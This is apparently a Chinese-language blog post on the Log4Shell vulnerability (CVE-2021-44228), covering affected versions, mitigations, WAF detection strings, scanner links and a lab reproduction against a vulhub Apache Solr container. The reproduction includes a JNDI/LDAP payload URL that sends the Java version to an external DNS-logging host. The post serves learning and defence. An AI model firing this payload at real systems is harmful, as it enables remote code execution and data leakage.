简介

Log4j 漏洞又称“Log4Shell”,是 2021 年 11 月在 Apache Log4j 日志库中发现的一个严重漏洞。Apache log4j 是一个开源的基于 Java 的日志框架,它允许开发人员将 Log4J 库插入到自己的应用程序中,而无需编写专用的日志记录器。这种便利性是 Log4J 被广泛使用的原因。它被广泛用于大量商业软件中,例如 Steam 和 Apple iCloud。它还被广泛用于其他网站框架基础,例如 Elasticsearch、Kafka 等。
Log4Shell 是 Apache Log4J 2.14.1 及更早版本中的远程代码执行 (RCE) 漏洞,其常见漏洞披露标识符为 CVE-2021-44228。Log4j 漏洞是互联网历史上最具破坏性的漏洞之一。
根据IBM官方威胁情报记录,Log4j漏洞导致2021年12月全球网络攻击数量激增。
研究人员认为,Log4Shell是一个“灾难性”的0 Day漏洞,因为Log4J是全球部署最广泛的开源程序之一,而且该漏洞不需要特殊权限或身份验证,很容易被黑客利用。
美国网络安全和基础设施安全局(CISA)局长Jen Easterly在接受媒体采访时表示,这是她职业生涯中见过的最严重的事件。她还表示,CISA正在积极与公共和私营部门的合作伙伴合作,解决影响包含Log4j软件库的产品的关键漏洞。

受影响版本:

1
Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed.

Incident Timeline

缓解措施

Log4j漏洞,也称为**Log4Shell (CVE-2021-44228)**,是一个严重的远程代码执行(RCE)漏洞,影响了 Apache Log4j 2 版本。这一漏洞允许攻击者通过向日志记录输入恶意的JNDI(Java Naming and Directory Interface)查找字符串,触发服务器下载和执行恶意代码。

为了防止该漏洞的利用,以下是一些缓解措施和修复步骤。

升级 Log4j 版本

这是最有效的解决方案。Apache 官方已经发布了修复版本,建议尽快升级到2.15以上版本

禁用 JNDI 功能

如果暂时无法升级 Log4j,可以通过禁用 JNDI 功能来缓解漏洞。

修改 Log4j 配置:

  • 禁用 JNDI 查找功能:可以通过系统属性来禁用 JNDI 查找。

在 JVM 启动时添加以下系统属性:

1
-Dlog4j2.formatMsgNoLookups=true

这将禁用日志事件中对 ${jndi:} 查找的解析。

注意:该方法适用于 Log4j 2.10 至 2.14.1 的版本。对于 Log4j 2.15.0 及以上版本,这个选项默认被启用,但最好还是尽快升级到最新版本。

移除 JndiLookup 类

对于无法及时升级的情况,还可以通过移除 JndiLookup 类来减轻漏洞影响。

  1. 找到 Log4j jar 文件。

  2. 使用以下命令移除 JndiLookup 类:

    1
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

这会从 log4j-core jar 文件中删除该类,从而禁用 JNDI 查找。

外出网络流量限制

虽然这并不能完全修复漏洞,但可以通过限制外部网络访问和加强防火墙规则来减少被攻击的风险。

  • 禁用对外部 LDAP 和 RMI 服务的访问:JNDI 查找功能依赖于外部 LDAP 和 RMI 服务,限制这些访问可以减少漏洞被利用的机会。
  • 在防火墙或网络层面上,阻止访问 LDAP(端口 389、636)RMI(端口 1099)

配置WAF规则

  • **使用 Web 应用防火墙 (WAF)**:可以配置 WAF 规则,阻止带有 ${jndi:${ctx: 等可能利用 Log4j 的字符串请求。
  • 容器化环境修复:如果你的应用运行在容器环境中,确保基础镜像已经升级到不受漏洞影响的版本。

总结

  • 最佳解决方案:升级到 Log4j 2.15或更高版本。
  • 短期缓解措施:通过 -Dlog4j2.formatMsgNoLookups=true 禁用 JNDI 查找功能,或者移除 JndiLookup 类。
  • 其他防御措施:加强网络限制、监控日志中的可疑活动,使用防火墙规则限制外部 LDAP/RMI 请求。

扫描漏洞

https://github.com/fullhunt/log4j-scan

https://github.com/cisagov/log4j-scanner

https://github.com/proferosec/log4jScanner

需要指定一个DNS callback服务器。比如dnslog.cn

漏洞复现

通过使用了这个库的应用来复现这个漏洞,比如Apache Solr。

通过vulhub提供的镜像,启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

1
2
cd vulhub-master/log4j/CVE-2021-44228
docker compose up -d

服务启动后,访问http://localhost:8983即可查看到Apache Solr的后台页面。

Poc:

1
http://localhost:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.bf5c23cc.log.dnslog.biz.}

https://dnslog.org/ 中看到DNS解析纪录中,返回了java版本。漏洞复现成功。

dnslog

也可使用Marshalsec进行LDAP,RMI漏洞利用。

参考

https://github.com/pentesterland/Log4Shell

https://www.51cto.com/article/714872.html

https://www.youtube.com/watch?v=XC3Oqn_yADk

https://www.youtube.com/watch?v=Opqgwn8TdlM

https://www.youtube.com/watch?v=7qoPDq41xhQ

遇到的问题

docker问题

vulhub提供的都是amd的docker镜像,在arm的linux虚拟机里跑不起来。用https://github.com/vulhub/vulhub/issues/478 用的解决方法也未成功。

于是在Mac上启动docker, Use Rosetta for x86_64/amd64 emulation on Apple Silicon.

JNDInjector

本来准备用JNDInjector这个工具,但是运行报错,在官网下载JavaFX的aarch64架构的JDK,下载后发现java版本不匹配。升级java:

访问Azul Zulu的下载页面: https://www.azul.com/downloads/?package=jdk#zulu

选择Java 17 (LTS)版本,下载dmg并安装。

验证是否安装成功

1
/usr/libexec/java_home -V

添加环境变量

1
echo 'export JAVA_HOME=$(/usr/libexec/java_home -v 17)' >> ~/.zshrc

查看版本

1
2
3
4
java --version
openjdk 17.0.12 2024-07-16 LTS
OpenJDK Runtime Environment Zulu17.52+17-CA (build 17.0.12+7-LTS)
OpenJDK 64-Bit Server VM Zulu17.52+17-CA (build 17.0.12+7-LTS, mixed mode, sharing)
1
java -verbose:class --module-path ./javafx-sdk-21.0.4/lib --add-modules javafx.controls,javafx.fxml -jar JNDInjector.jar

还是跑不起来,暂时作罢。